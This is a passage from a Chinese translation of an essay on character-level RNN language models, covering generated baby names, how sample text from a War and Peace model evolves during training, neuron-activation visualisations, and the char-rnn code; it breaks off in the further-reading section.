็”Ÿๆˆๅฉดๅ„ฟๅง“ๅ\n\n่ฎฉๆˆ‘ไปฌๅ†่ฏ•ไธ€ไธชใ€‚็ป™RNN่พ“ๅ…ฅไธ€ไธชๅŒ…ๅซ8000ไธชๅฐๅญฉๅ„ฟๅง“ๅ็š„ๆ–‡ๆœฌๆ–‡ไปถ๏ผŒไธ€่กŒๅชๆœ‰ไธ€ไธชๅๅญ—ใ€‚๏ผˆๅๅญ—ๆ˜ฏไปŽ[่ฟ™้‡Œ](https://link.zhihu.com/?target=http%3A//www.cs.cmu.edu/afs/cs/project/ai-repository/ai/areas/nlp/corpora/names/)่Žทๅพ—็š„๏ผ‰ๆˆ‘ไปฌๅฏไปฅๆŠŠ่ฟ™ไบ›่พ“ๅ…ฅRNN็„ถๅŽ็”Ÿๆˆๆ–ฐ็š„ๅๅญ—ใ€‚ไธ‹้ขๆ˜ฏไธ€ไบ›ๅๅญ—ไพ‹ๅญ๏ผŒๅชๅฑ•็คบไบ†้‚ฃไบ›ๆฒกๆœ‰ๅœจ่ฎญ็ปƒ้›†ไธญๅ‡บ็Žฐ่ฟ‡็š„ๅๅญ—๏ผš\n\n*Rudi Levette Berice Lussa Hany Mareanne Chrestina Carissy Marylen Hammine Janye Marlise Jacacrie Hendred Romand Charienna Nenotto Ette Dorane Wallen Marly Darine Salina Elvyn Ersia Maralena Minoria Ellia Charmin Antley Nerille Chelon Walmor Evena Jeryly Stachon Charisa Allisa Anatha Cathanie Geetra Alexie Jerin Cassen Herbett Cossie Velen Daurenge Robester Shermond Terisa Licia Roselen Ferine Jayn Lusine Charyanne Sales Sanny Resa Wallon Martine Merus Jelen Candica Wallin Tel Rachene Tarine Ozila Ketia Shanne Arnande Karella Roselina Alessia Chasty Deland Berther Geamar Jackein Mellisand Sagdy Nenc Lessie Rasemy Guen Gavi Milea Anneda Margoris Janin Rodelin Zeanna Elyne Janah Ferzina Susta Pey Castina*\n\n็‚นๅ‡ป[่ฟ™้‡Œ](https://cs.stanford.edu/people/karpathy/namesGenUnique.txt)ๅฏไปฅๆŸฅ็œ‹ๆ›ดๅคšใ€‚ๆˆ‘ไธชไบบๆœ€ๅ–œๆฌข็š„ๅๅญ—ๅŒ…ๆ‹ฌโ€œBabyโ€ (ๅ“ˆ)๏ผŒ โ€œKillieโ€๏ผŒโ€œCharโ€๏ผŒโ€œRโ€๏ผŒโ€œMoreโ€๏ผŒโ€œMarsโ€๏ผŒโ€œHiโ€๏ผŒโ€œSaddieโ€๏ผŒโ€œWithโ€ๅ’Œโ€œAhbortโ€ใ€‚่ฟ™็œŸ็š„่›ฎๆœ‰ๆ„ๆ€๏ผŒไฝ ่ฟ˜ๅฏไปฅ็•…ๆƒณๅœจๅ†™ๅฐ่ฏดๆˆ–่€…็ป™ๅˆ›ไธšๅ…ฌๅธ่ตทๅๅญ—็š„ๆ—ถๅ€™๏ผŒ่ฟ™ไธช่ƒฝ็ป™ไฝ ็ตๆ„Ÿใ€‚\n\n\n\n## ็†่งฃ่ฎญ็ปƒ่ฟ‡็จ‹\n\nๆˆ‘ไปฌๅทฒ็ป็œ‹่ง่ฎญ็ปƒ็ป“ๆŸๅŽ็š„็ป“ๆžœไปคไบบๅฐ่ฑกๆทฑๅˆป๏ผŒไฝ†ๆ˜ฏๅฎƒๅˆฐๅบ•ๆ˜ฏๅฆ‚ไฝ•่ฟไฝœ็š„ๅ‘ข๏ผŸ็Žฐๅœจ่ท‘ไธคไธชๅฐๅฎž้ชŒๆฅไธ€ๆŽข็ฉถ็ซŸใ€‚\n\n\n\n### ่ฎญ็ปƒๆ—ถ่พ“ๅ‡บๆ–‡ๆœฌ็š„่ฟ›ๅŒ–\n\n้ฆ–ๅ…ˆ๏ผŒ่ง‚ๅฏŸๆจกๅž‹ๅœจ่ฎญ็ปƒๆ—ถ่พ“ๅ‡บๆ–‡ๆœฌ็š„ไธๆ–ญ่ฟ›ๅŒ–ๆ˜ฏๅพˆๆœ‰ๆ„ๆ€็š„ใ€‚ไพ‹ๅฆ‚๏ผŒๆˆ‘ไฝฟ็”จๆ‰˜ๅฐ”ๆ–ฏๆณฐ็š„ใ€Šๆˆ˜ไบ‰ไธŽๅ’Œๅนณใ€‹ๆฅ่ฎญ็ปƒLSTM๏ผŒๅนถๅœจ่ฎญ็ปƒ่ฟ‡็จ‹ไธญๆฏ่ฟญไปฃ100ๆฌกๅฐฑ่พ“ๅ‡บไธ€ๆฎตๆ–‡ๆœฌใ€‚ๅœจ็ฌฌ100ๆฌก่ฟญไปฃๆ—ถ๏ผŒๆจกๅž‹่พ“ๅ‡บ็š„ๆ–‡ๆœฌๆ˜ฏ้šๆœบๆŽ’ๅˆ—็š„๏ผš\n\n```text\ntyntd-iafhatawiaoihrdemot lytdws e ,tfti, astai f ogoh eoase rrranbyne 'nhthnee e \nplia tklrgd t o idoe ns,smtt h ne etie h,hregtrs nigtike,aoaenns lng\n```\n\nไฝ†ๆ˜ฏ่‡ณๅฐ‘ๅฏไปฅ็œ‹ๅˆฐๅฎƒๅญฆไผšไบ†ๅ•่ฏๆ˜ฏ่ขซ็ฉบๆ ผๆ‰€ๅˆ†ๅ‰ฒ็š„๏ผŒๅชๆ˜ฏๆœ‰ๆ—ถๅ€™ๅฎƒไฝฟ็”จไบ†ไธคไธช่ฟž็ปญ็ฉบๆ ผใ€‚ๅฎƒ่ฟ˜ๆฒกๅญฆๅˆฐ้€—ๅทๅŽ้ขๆ€ปๆ˜ฏๆœ‰ไธช็ฉบๆ ผใ€‚ๅœจ่ฟญไปฃๅˆฐ็ฌฌ300ๆฌก็š„ๆ—ถๅ€™๏ผŒๅฏไปฅ็œ‹ๅˆฐๆจกๅž‹ๅญฆไผšไฝฟ็”จๅผ•ๅทๅ’Œๅฅๅทใ€‚\n\n```text\n\"Tmont thithey\" fomesscerliund\nKeushey. Thom here\nsheulke, anmerenith ol sivh I lalterthend Bleipile shuwy fil on aseterlome\ncoaniogennc Phe lism thond hon at. MeiDimorotion in ther thize.\"\n```\n\nๅ•่ฏ่ขซ็ฉบๆ ผๆ‰€ๅˆ†ๅ‰ฒ๏ผŒๆจกๅž‹ๅผ€ๅง‹็Ÿฅ้“ๅœจๅฅๅญๆœซๅฐพไฝฟ็”จๅฅๅทใ€‚ๅœจ็ฌฌ500ๆฌก่ฟญไปฃๆ—ถ๏ผš\n\n```text\nwe counter. He stutn co des. His stanted out one ofler that concossions and was \nto gearang reay Jotrets and with fre colt otf paitt thin wall. Which das stimn \n```\n\nๆจกๅž‹ๅผ€ๅง‹ๅญฆไผšไฝฟ็”จๆœ€็Ÿญๅ’Œๆœ€ๅธธ็”จ็š„ๅ•่ฏ๏ผŒๆฏ”ๅฆ‚โ€œweโ€ใ€โ€œHeโ€ใ€โ€œHisโ€ใ€โ€œWhichโ€ใ€โ€œandโ€็ญ‰ใ€‚ไปŽ็ฌฌ700ๆฌก่ฟญไปฃๅผ€ๅง‹๏ผŒๅฏไปฅ็œ‹่งๆ›ดๅคšๅ’Œ่‹ฑ่ฏญๅ•่ฏๅฝขไผผ็š„ๆ–‡ๆœฌ๏ผš\n\n```text\nAftair fall unsuch that the hall for Prince Velzonski's that me of\nher hearly, and behs to so arwage fiving were to it beloge, pavu say falling misfort \nhow, and Gogition is so overelical and ofter.\n```\n\nๅœจ็ฌฌ1200ๆฌก่ฟญไปฃ๏ผŒๆˆ‘ไปฌๅฏไปฅ็œ‹่งไฝฟ็”จๅผ•ๅทใ€้—ฎๅฅฝๅ’Œๆ„Ÿๅนๅท๏ผŒๆ›ด้•ฟ็š„ๅ•่ฏไนŸๅ‡บ็Žฐไบ†ใ€‚\n\n```text\n\"Kite vouch!\" he repeated by her\ndoor. \"But I would be done and quarts, feeling, then, son is people....\"\n```\n\nๅœจ่ฟญไปฃๅˆฐ2000ๆฌก็š„ๆ—ถๅ€™๏ผŒๆจกๅž‹ๅผ€ๅง‹ๆญฃ็กฎ็š„ๆ‹ผๅ†™ๅ•่ฏ๏ผŒๅผ•็”จๅฅๅญๅ’Œไบบๅใ€‚\n\n```text\n\"Why do what that day,\" replied Natasha, and wishing to himself the fact the\nprincess, Princess Mary was easier, fed in had oftened him.\nPierre aking his soul came to the packs and drove up his father-in-law women.\n```\n\nไปŽไธŠ่ฟฐ็ป“ๆžœไธญๅฏ่ง๏ผŒๆจกๅž‹้ฆ–ๅ…ˆๅ‘็Žฐ็š„ๆ˜ฏไธ€่ˆฌ็š„ๅ•่ฏๅŠ ็ฉบๆ ผ็ป“ๆž„๏ผŒ็„ถๅŽๅผ€ๅง‹ๅญฆไน ๅ•่ฏ๏ผ›ไปŽ็Ÿญๅ•่ฏๅผ€ๅง‹๏ผŒ็„ถๅŽๅญฆไน ๆ›ด้•ฟ็š„ๅ•่ฏใ€‚็”ฑๅคšไธชๅ•่ฏ็ป„ๆˆ็š„่ฏ้ข˜ๅ’Œไธป้ข˜่ฏ่ฆๅˆฐ่ฎญ็ปƒๅŽๆœŸๆ‰ไผšๅ‡บ็Žฐใ€‚\n\n\n\n## RNNไธญ็š„้ข„ๆต‹ไธŽ็ฅž็ปๅ…ƒๆฟ€ๆดปๅฏ่ง†ๅŒ–\n\nๅฆไธ€ไธชๆœ‰่ถฃ็š„ๅฎž้ชŒๅ†…ๅฎนๅฐฑๆ˜ฏๅฐ†ๆจกๅž‹ๅฏนไบŽๅญ—็ฌฆ็š„้ข„ๆต‹ๅฏ่ง†ๅŒ–ใ€‚ไธ‹้ข็š„ๅ›พ็คบๆ˜ฏๆˆ‘ไปฌๅฏน็”จ็ปดๅŸบ็™พ็ง‘ๅ†…ๅฎน่ฎญ็ปƒ็š„RNNๆจกๅž‹่พ“ๅ…ฅ้ชŒ่ฏ้›†ๆ•ฐๆฎ๏ผˆ่“่‰ฒๅ’Œ็ปฟ่‰ฒ็š„่กŒ๏ผ‰ใ€‚ๅœจๆฏไธชๅญ—ๆฏไธ‹้ขๆˆ‘ไปฌๅˆ—ไธพไบ†ๆจกๅž‹้ข„ๆต‹็š„ๆฆ‚็Ž‡ๆœ€้ซ˜็š„5ไธชๅญ—ๆฏ๏ผŒๅนถ็”จๆทฑๆต…ไธๅŒ็š„็บข่‰ฒ็€่‰ฒใ€‚ๆทฑ็บขไปฃ่กจๆจกๅž‹่ฎคไธบๆฆ‚็Ž‡ๅพˆ้ซ˜๏ผŒ็™ฝ่‰ฒไปฃ่กจๆจกๅž‹่ฎคไธบๆฆ‚็Ž‡่พƒไฝŽใ€‚ๆณจๆ„ๆœ‰ๆ—ถๅ€™ๆจกๅž‹ๅฏนไบŽ้ข„ๆต‹็š„ๅญ—ๆฏๆ˜ฏ้žๅธธๆœ‰ไฟกๅฟƒ็š„ใ€‚ๆฏ”ๅฆ‚ๅœจ[http://www](https://link.zhihu.com/?target=http%3A//www/). ๅบๅˆ—ไธญๅฐฑๆ˜ฏใ€‚\n\n่พ“ๅ…ฅๅญ—ๆฏๅบๅˆ—ไนŸ่ขซ็€ไปฅ่“่‰ฒๆˆ–่€…็ปฟ่‰ฒ๏ผŒ่ฟ™ไปฃ่กจ็š„ๆ˜ฏRNN้šๅฑ‚่กจ่พพไธญ็š„ๆŸไธช้šๆœบๆŒ‘้€‰็š„็ฅž็ปๅ…ƒๆ˜ฏๅฆ่ขซ*ๆฟ€ๆดป*ใ€‚็ปฟ่‰ฒไปฃ่กจ้žๅธธๅ…ดๅฅ‹๏ผŒ่“่‰ฒไปฃ่กจไธๆ€Žไนˆๅ…ดๅฅ‹ใ€‚LSTMไธญ็ป†่Š‚ไนŸไธŽๆญค็ฑปไผผ๏ผŒ้š่—็Šถๆ€ๅ‘้‡ไธญ็š„ๅ€ผๆ˜ฏ[-1, 1]๏ผŒ่ฟ™ๅฐฑๆ˜ฏ็ป่ฟ‡ๅ„็งๆ“ไฝœๅนถไฝฟ็”จtanh่ฎก็ฎ—ๅŽ็š„LSTM็ป†่ƒž็Šถๆ€ใ€‚็›ด่ง‚ๅœฐ่ฏด๏ผŒ่ฟ™ๅฐฑๆ˜ฏๅฝ“RNN้˜…่ฏป่พ“ๅ…ฅๅบๅˆ—ๆ—ถ๏ผŒๅฎƒ็š„โ€œๅคง่„‘โ€ไธญ็š„ๆŸไบ›็ฅž็ปๅ…ƒ็š„ๆฟ€ๆดป็Ž‡ใ€‚ไธๅŒ็š„็ฅž็ปๅ…ƒๅ…ณๆณจ็š„ๆ˜ฏไธๅŒ็š„ๆจกๅผใ€‚ๅœจไธ‹้ขๆˆ‘ไปฌไผš็œ‹ๅˆฐ4็งไธๅŒ็š„็ฅž็ปๅ…ƒ๏ผŒๆˆ‘่ฎคไธบๆฏ”่พƒๆœ‰่ถฃๅ’Œ่ƒฝๅคŸ็›ด่ง‚็†่งฃ๏ผˆๅฝ“็„ถไนŸๆœ‰ๅพˆๅคšไธ่ƒฝ็›ด่ง‚็†่งฃ๏ผ‰ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/03/5b8d4b844ea23.png)\n\nๆœฌๅ›พไธญ้ซ˜ไบฎ็š„็ฅž็ปๅ…ƒ็œ‹่ตทๆฅๅฏนไบŽURL็š„ๅผ€ๅง‹ไธŽ็ป“ๆŸ้žๅธธๆ•ๆ„Ÿใ€‚LSTM็œ‹่ตทๆฅๆ˜ฏ็”จ่ฟ™ไธช็ฅž็ปๅ…ƒๆฅ่ฎฐๅฟ†่‡ชๅทฑๆ˜ฏไธๆ˜ฏๅœจไธ€ไธชURLไธญใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/03/5b8d4b9e95495.png)\n\n้ซ˜ไบฎ็š„็ฅž็ปๅ…ƒ็œ‹่ตทๆฅๅฏนไบŽmarkdown็ฌฆๅท[[]]็š„ๅผ€ๅง‹ไธŽ็ป“ๆŸ้žๅธธๆ•ๆ„Ÿใ€‚ๆœ‰่ถฃ็š„ๆ˜ฏ๏ผŒไธ€ไธช[็ฌฆๅทไธ่ถณไปฅๆฟ€ๆดป็ฅž็ปๅ…ƒ๏ผŒๅฟ…้กป็ญ‰ๅˆฐไธคไธช[[ๅŒๆ—ถๅ‡บ็Žฐใ€‚่€Œๅˆคๆ–ญๆœ‰ๅ‡ ไธช[็š„ไปปๅŠก็œ‹่ตทๆฅๆ˜ฏ็”ฑๅฆไธ€ไธช็ฅž็ปๅ…ƒๅฎŒๆˆ็š„ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/03/5b8d4bb62791b.png)\n\n่ฟ™ๆ˜ฏไธ€ไธชๅœจ[[]]ไธญ็บฟๆ€งๅ˜ๅŒ–็š„็ฅž็ปๅ…ƒใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒๅœจ[[]]ไธญ๏ผŒๅฎƒ็š„ๆฟ€ๆดปๆ˜ฏไธบRNNๆไพ›ไบ†ไธ€ไธชไปฅๆ—ถ้—ดไธบๅ‡†็š„ๅๆ ‡็ณปใ€‚RNNๅฏไปฅไฝฟ็”จ่ฏฅไฟกๆฏๆฅๆ นๆฎๅญ—็ฌฆๅœจ[[]]ไธญๅ‡บ็Žฐ็š„ๆ—ฉๆ™šๆฅๅ†ณๅฎšๅ…ถๅ‡บ็Žฐ็š„้ข‘็Ž‡๏ผˆไนŸ่ฎธ๏ผŸ๏ผ‰ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/03/5b8d4bc898754.png)\n\n่ฟ™ๆ˜ฏไธ€ไธช่ฟ›่กŒๅฑ€้ƒจๅŠจไฝœ็š„็ฅž็ปๅ…ƒ๏ผšๅฎƒๅคง้ƒจๅˆ†ๆ—ถๅ€™้ƒฝๅพˆๅฎ‰้™๏ผŒ็›ดๅˆฐๅ‡บ็Žฐwwwๅบๅˆ—ไธญ็š„็ฌฌไธ€ไธชwๅŽ๏ผŒๅฐฑ็ช็„ถๅ…ณ้—ญไบ†ใ€‚RNNๅฏ่ƒฝๆ˜ฏไฝฟ็”จ่ฟ™ไธช็ฅž็ปๅ…ƒๆฅ่ฎก็ฎ—wwwๅบๅˆ—ๆœ‰ๅคš้•ฟ๏ผŒ่ฟ™ๆ ทๅฎƒๅฐฑ็Ÿฅ้“ๆ˜ฏ่ฏฅ่พ“ๅ‡บๆœ‰ไธ€ไธชwๅ‘ข๏ผŒ่ฟ˜ๆ˜ฏๅผ€ๅง‹่พ“ๅ‡บURLไบ†ใ€‚\n\n---\n\nๅฝ“็„ถ๏ผŒ็”ฑไบŽRNN็š„้š่—็Šถๆ€ๆ˜ฏไธ€ไธชๅทจๅคงไธ”ๅˆ†ๆ•ฃ็š„้ซ˜็ปดๅบฆ่กจ่พพ๏ผŒๆ‰€ไปฅไธŠ้ข่ฟ™ไบ›็ป“่ฎบๅคšๅฐ‘ๆœ‰ไธ€็‚นๆ‰‹ๅŠจ่ฐƒๆ•ดใ€‚ไธŠ้ข็š„่ฟ™ไบ›ๅฏ่ง†ๅŒ–ๅ›พ็‰‡ๆ˜ฏ็”จๅฎšๅˆถ็š„HTML/CSS/Javascriptๅฎž็Žฐ็š„๏ผŒๅฆ‚ๆžœไฝ ๆƒณๅฎž็Žฐ็ฑปไผผ็š„๏ผŒๅฏไปฅๆŸฅ็œ‹[่ฟ™้‡Œ](https://link.zhihu.com/?target=http%3A//cs.stanford.edu/people/karpathy/viscode.zip)ใ€‚\n\nๆˆ‘ไปฌๅฏไปฅ่ฟ›ไธ€ๆญฅ็ฎ€ๅŒ–ๅฏ่ง†ๅŒ–ๆ•ˆๆžœ๏ผšไธๆ˜พ็คบ้ข„ๆต‹ๅญ—็ฌฆไป…ไป…ๆ˜พ็คบๆ–‡ๆœฌ๏ผŒๆ–‡ๆœฌ็š„็€่‰ฒไปฃ่กจ็ฅž็ปๅ…ƒ็š„ๆฟ€ๆดปๆƒ…ๅ†ตใ€‚ๅฏไปฅ็œ‹ๅˆฐๅคง้ƒจๅˆ†็š„็ป†่ƒžๅš็š„ไบ‹ๆƒ…ไธๆ˜ฏ้‚ฃไนˆ็›ด่ง‚่ƒฝ็†่งฃ๏ผŒไฝ†ๆ˜ฏๅ…ถไธญ5%็œ‹่ตทๆฅๆ˜ฏๅญฆๅˆฐไบ†ไธ€ไบ›ๆœ‰่ถฃๅนถไธ”่ƒฝ็†่งฃ็š„็ฎ—ๆณ•๏ผš\n\n---\n\n![](https://i.loli.net/2018/09/03/5b8d4bfd108ce.png)\n\n![](https://i.loli.net/2018/09/03/5b8d4c3d8db06.png)\n\nๅœจ้ข„ๆต‹ไธ‹ไธชๅญ—็ฌฆ็š„่ฟ‡็จ‹ไธญไผ˜้›…็š„ไธ€็‚นๆ˜ฏ๏ผšๆˆ‘ไปฌไธ็”จ่ฟ›่กŒไปปไฝ•็š„็กฌ็ผ–็ ใ€‚ๆฏ”ๅฆ‚๏ผŒไธ็”จๅŽปๅฎž็Žฐๅˆคๆ–ญๆˆ‘ไปฌๅˆฐๅบ•ๆ˜ฏไธๆ˜ฏๅœจไธ€ไธชๅผ•ๅทไน‹ไธญใ€‚ๆˆ‘ไปฌๅชๆ˜ฏไฝฟ็”จๅŽŸๅง‹ๆ•ฐๆฎ่ฎญ็ปƒLSTM๏ผŒ็„ถๅŽๅฎƒ่‡ชๅทฑๅ†ณๅฎš่ฟ™ๆ˜ฏไธชๆœ‰็”จ็š„ไธœ่ฅฟไบŽๆ˜ฏๅผ€ๅง‹่ทŸ่ธชใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒๅ…ถไธญไธ€ไธชๅ•ๅ…ƒ่‡ชๅทฑๅœจ่ฎญ็ปƒไธญๅ˜ๆˆไบ†ๅผ•ๅทๆŽขๆต‹ๅ•ๅ…ƒ๏ผŒๅชๅ› ไธบ่ฟ™ๆ ทๆœ‰ๅŠฉไบŽๅฎŒๆˆๆœ€็ปˆไปปๅŠกใ€‚่ฟ™ไนŸๆ˜ฏๆทฑๅบฆๅญฆไน ๆจกๅž‹๏ผˆๆ›ดไธ€่ˆฌๅŒ–ๅœฐ่ฏดๆ˜ฏ็ซฏๅˆฐ็ซฏ่ฎญ็ปƒ๏ผ‰ๅผบๅคง่ƒฝๅŠ›็š„ไธ€ไธช็ฎ€ๆดๆœ‰ๅŠ›็š„่ฏๆฎใ€‚\n\n\n\n## ๆบไปฃ็ \n\nๆˆ‘ๆƒณ่ฟ™็ฏ‡ๅšๆ–‡่ƒฝๅคŸ่ฎฉไฝ ่ฎคไธบ่ฎญ็ปƒไธ€ไธชๅญ—็ฌฆ็บงๅˆซ็š„่ฏญ่จ€ๆจกๅž‹ๆ˜ฏไธ€ไปถๆœ‰่ถฃ็š„ไบ‹ๅ„ฟใ€‚ไฝ ๅฏไปฅไฝฟ็”จๆˆ‘ๅœจGithubไธŠ็š„[char rnnไปฃ็ ](https://github.com/karpathy/char-rnn)่ฎญ็ปƒไธ€ไธช่‡ชๅทฑ็š„ๆจกๅž‹ใ€‚ๅฎƒไฝฟ็”จไธ€ไธชๅคงๆ–‡ๆœฌๆ–‡ไปถ่ฎญ็ปƒไธ€ไธชๅญ—็ฌฆ็บงๅˆซ็š„ๆจกๅž‹๏ผŒๅฏไปฅ่พ“ๅ‡บๆ–‡ๆœฌใ€‚ๅฆ‚ๆžœไฝ ๆœ‰GPU๏ผŒ้‚ฃไนˆไผšๅœจๆฏ”CPUไธŠ่ฎญ็ปƒๅฟซ10ๅ€ใ€‚ๅฆ‚ๆžœไฝ ่ฎญ็ปƒ็ป“ๆŸๅพ—ๅˆฐไบ†ๆœ‰ๆ„ๆ€็š„็ป“ๆžœ๏ผŒ่ฏท่”็ณปๆˆ‘ใ€‚ๅฆ‚ๆžœไฝ ็œ‹Torch/Luaไปฃ็ ็œ‹็š„ๅคด็–ผ๏ผŒๅˆซๅฟ˜ไบ†ๅฎƒไปฌๅชไธ่ฟ‡ๆ˜ฏ่ฟ™ไธช[100่กŒ้กน็›ฎ](https://gist.github.com/karpathy/d4dee566867f8291f086)็š„้ซ˜็ซฏ็‰ˆใ€‚\n\n*้ข˜ๅค–่ฏ*ใ€‚ไปฃ็ ๆ˜ฏ็”จ[Torch7](http://torch.ch)ๅ†™็š„๏ผŒๅฎƒๆœ€่ฟ‘ๅ˜ๆˆๆˆ‘ๆœ€็ˆฑ็š„ๆทฑๅบฆๅญฆไน ๆก†ๆžถไบ†ใ€‚ๆˆ‘ๅผ€ๅง‹ๅญฆไน Torch/LUAๆœ‰ๅ‡ ไธชๆœˆไบ†๏ผŒ่ฟ™ๅนถไธ็ฎ€ๅ•๏ผˆ่Šฑไบ†ๅพˆๅคšๆ—ถ้—ดๅญฆไน GithubไธŠ็š„ๅŽŸๅง‹Torchไปฃ็ ๏ผŒๅ‘้กน็›ฎๅˆ›ๅปบ่€…ๆ้—ฎๆฅ่งฃๅ†ณ้—ฎ้ข˜๏ผ‰๏ผŒไฝ†ๆ˜ฏไธ€ๆ—ฆไฝ ๆžๆ‡‚ไบ†๏ผŒๅฎƒๅฐฑไผš็ป™ไฝ ๅธฆๆฅๅพˆๅคง็š„ๅผนๆ€งๅ’ŒๅŠ ้€Ÿใ€‚ไน‹ๅ‰ๆˆ‘ไฝฟ็”จ็š„ๆ˜ฏCaffeๅ’ŒTheano๏ผŒ่™ฝ็„ถTorch่™ฝ็„ถ่ฟ˜ไธๅฎŒ็พŽ๏ผŒไฝ†ๆ˜ฏๆˆ‘็›ธไฟกๅฎƒ็š„ๆŠฝ่ฑกๅ’Œๅ“ฒๅญฆๅฑ‚ๆฌกๆฏ”ๅ‰ไธคไธช้ซ˜ใ€‚ๅœจๆˆ‘็œ‹ๆฅ๏ผŒไธ€ไธช้ซ˜ๆ•ˆ็š„ๆก†ๆžถๅบ”ๆœ‰ไปฅไธ‹็‰นๆ€ง๏ผš\n\n- ๆœ‰ไธฐๅฏŒๅ‡ฝๆ•ฐ๏ผˆไพ‹ๅฆ‚ๅˆ‡็‰‡๏ผŒๆ•ฐ็ป„/็Ÿฉ้˜ตๆ“ไฝœ็ญ‰๏ผ‰็š„๏ผŒๅฏนๅบ•ๅฑ‚CPU/GPU้€ๆ˜Ž็š„ๅผ ้‡ๅบ“ใ€‚\n- ไธ€ๆ•ดไธชๅŸบไบŽ่„šๆœฌ่ฏญ่จ€๏ผˆๆฏ”ๅฆ‚Python๏ผ‰็š„ๅˆ†็ฆป็š„ไปฃ็ ๅบ“๏ผŒ่ƒฝๅคŸๅฏนๅผ ้‡่ฟ›่กŒๆ“ไฝœ๏ผŒๅฎž็Žฐๆ‰€ๆœ‰ๆทฑๅบฆๅญฆไน ๅ†…ๅฎน๏ผˆๅ‰ๅ‘ใ€ๅๅ‘ไผ ๆ’ญ๏ผŒ่ฎก็ฎ—ๅ›พ็ญ‰๏ผ‰ใ€‚\n- ๅˆ†ไบซ้ข„่ฎญ็ปƒๆจกๅž‹้žๅธธๅฎนๆ˜“๏ผˆCaffeๅšๅพ—ๅพˆๅฅฝ๏ผŒๅ…ถไป–็š„ไธ่กŒ๏ผ‰ใ€‚\n- ๆœ€ๅ…ณ้”ฎ็š„๏ผšๆฒกๆœ‰็ผ–่ฏ‘่ฟ‡็จ‹๏ผๆˆ–่€…่‡ณๅฐ‘ไธ่ฆๅƒTheano็Žฐๅœจ่ฟ™ๆ ท๏ผๆทฑๅบฆๅญฆไน ็š„่ถ‹ๅŠฟๆ˜ฏๆ›ดๅคงๆ›ดๅคๆ‚็š„็ฝ‘็ปœ๏ผŒ่ฟ™ไบ›็ฝ‘็ปœ้ƒฝๆœ‰้š็€ๆ—ถ้—ดๅฑ•ๅผ€็š„ๅคๆ‚่ฎก็ฎ—ๆต็จ‹ใ€‚็ผ–่ฏ‘ๆ—ถ้—ดไธ่ƒฝๅคช้•ฟ๏ผŒไธ็„ถๅผ€ๅ‘่ฟ‡็จ‹ๅฐ†ๅ……ๆปก็—›่‹ฆใ€‚ๅ…ถๆฌก๏ผŒ็ผ–่ฏ‘ๅฏผ่‡ดๅผ€ๅ‘่€…ๆ”พๅผƒ่งฃ้‡Š่ƒฝๅŠ›๏ผŒไธ่ƒฝ้ซ˜ๆ•ˆๅœฐ่ฟ›่กŒ่ฐƒ่ฏ•ใ€‚ๅฆ‚ๆžœๅœจๆต็จ‹ๅผ€ๅ‘ๅฎŒๆˆๅŽๆœ‰ไธช*้€‰้กน*่ƒฝ่ฟ›่กŒ็ผ–่ฏ‘๏ผŒ้‚ฃไนŸๅฏไปฅใ€‚\n\n\n\n## ๆ‹“ๅฑ•้˜…่ฏป\n\nๅœจ็ป“ๆŸๆœฌ็ฏ‡ๅšๆ–‡ๅ‰๏ผŒๆˆ‘ๆƒณๆŠŠRNNๆ”พๅˆฐๆ›ดๅนฟ็š„่ƒŒๆ™ฏไธญ๏ผŒๆไพ›ไธ€ไบ›ๅฝ“ๅ‰็š„็ ”็ฉถๆ–นๅ‘ใ€‚RNN็Žฐๅœจๅœจๆทฑๅบฆๅญฆไน ้ข†ๅŸŸๅผ•่ตทไบ†ไธๅฐ็š„ๅ…ดๅฅ‹ใ€‚ๅ’Œๅท็งฏ็ฅž็ป็ฝ‘็ปœไธ€ๆ ท๏ผŒๅฎƒๅ‡บ็Žฐๅทฒ็ปๆœ‰ๅๅคšๅนดไบ†๏ผŒไฝ†ๆ˜ฏ็›ดๅˆฐๆœ€่ฟ‘ๅฎƒ็š„ๆฝœๅŠ›ๆ‰่ขซ้€ๆธๅ‘ๆŽ˜ๅ‡บๆฅ๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๆˆ‘ไปฌ็š„่ฎก็ฎ—่ƒฝๅŠ›ๆ—ฅ็›Šๅผบๅคงใ€‚ไธ‹้ขๆ˜ฏๅฝ“ๅ‰็š„ไธ€ไบ›่ฟ›ๅฑ•๏ผˆ่‚ฏๅฎšไธๅฎŒๆ•ด๏ผŒ่€Œไธ”ๅพˆๅคšๅทฅไฝœๅฏไปฅ่ฟฝๆบฏ็š„1990ๅนด๏ผ‰๏ผš\n\nๅœจNLP/่ฏญ้Ÿณ้ข†ๅŸŸ๏ผŒRNNๅฐ†[่ฏญ้Ÿณ่ฝฌๅŒ–ไธบๆ–‡ๅญ—](http://www.jmlr.org/proceedings/papers/v32/graves14.pdf)๏ผŒ่ฟ›่กŒ[ๆœบๅ™จ็ฟป่ฏ‘](https://arxiv.org/abs/1409.3215)๏ผŒ็”Ÿๆˆ[ๆ‰‹ๅ†™ๆ–‡ๆœฌ](http://www.cs.toronto.edu/~graves/handwriting.html)๏ผŒๅฝ“็„ถไนŸๆ˜ฏๅผบๅคง็š„่ฏญ่จ€ๆจกๅž‹ (Sutskever็ญ‰) (Graves) (Mikolov็ญ‰)ใ€‚ๅญ—็ฌฆ็บงๅˆซๅ’Œๅ•่ฏ็บงๅˆซ็š„ๆจกๅž‹้ƒฝๆœ‰๏ผŒ็›ฎๅ‰็œ‹ๆฅๆ˜ฏๅ•่ฏ็บงๅˆซ็š„ๆจกๅž‹ๆ›ด้ข†ๅ…ˆ๏ผŒไฝ†ๆ˜ฏ่ฟ™ๅชๆ˜ฏๆš‚ๆ—ถ็š„ใ€‚\n\n่ฎก็ฎ—ๆœบ่ง†่ง‰ใ€‚RNN่ฟ…้€Ÿๅœฐๅœจ่ฎก็ฎ—ๆœบ่ง†่ง‰้ข†ๅŸŸไธญ่ขซๅนฟๆณ›่ฟ็”จใ€‚ๆฏ”ๅฆ‚๏ผŒไฝฟ็”จRNN็”จไบŽ[่ง†้ข‘ๅˆ†็ฑป](https://arxiv.org/abs/1411.4389)๏ผŒ[ๅ›พๅƒๆ ‡ๆณจ](https://arxiv.org/abs/1411.4555)๏ผˆๅ…ถไธญๆœ‰ๆˆ‘่‡ชๅทฑ็š„ๅทฅไฝœๅ’Œๅ…ถไป–ไธ€ไบ›๏ผ‰๏ผŒ[่ง†้ข‘ๆ 